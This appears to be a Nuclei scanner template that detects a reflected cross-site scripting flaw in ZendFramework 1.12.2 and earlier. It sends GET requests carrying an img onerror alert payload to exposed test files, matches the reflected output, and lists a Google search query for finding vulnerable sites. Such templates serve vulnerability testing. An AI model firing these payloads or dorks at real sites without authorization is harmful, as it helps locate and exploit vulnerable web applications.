id: zend-v1-xss

info:
  name: ZendFramework 1.12.2 - Cross-Site Scripting
  author: c3l3si4n
  severity: medium
  description: |
    ZendFramework of versions <=1.12.2 contain a cross-site scripting vulnerability via an arbitrarily supplied parameter.
  reference:
    - https://twitter.com/c3l3si4n/status/1600035722148212737
  classification:
    cpe: cpe:2.3:a:zend:zend_framework:1.12.2:*:*:*:*:*:*:*
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 2
    vendor: zend
    product: zend_framework
    google-query: inurl:"/tests/Zend/Http/"
  tags: zend,zendframework,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/vendor/diablomedia/zendframework1-http/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3&param=<img/src=x%20onerror=alert(1)>"
      - "{{BaseURL}}/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3&param=<img/src=x%20onerror=alert(document.domain)>"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"redirection"]'
          - '"param"'
          - '<img/src=x onerror=alert(document.domain)'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204a203d7222e8f7858c4ecd3d04edab9d0a66e2f9315b3e30635d6051f3510739022100a6e1a319538d8fa1e62ccd63f07598160dc7335887ea064247c574df893c709d:922c64590222798bb761d5b6d8e72950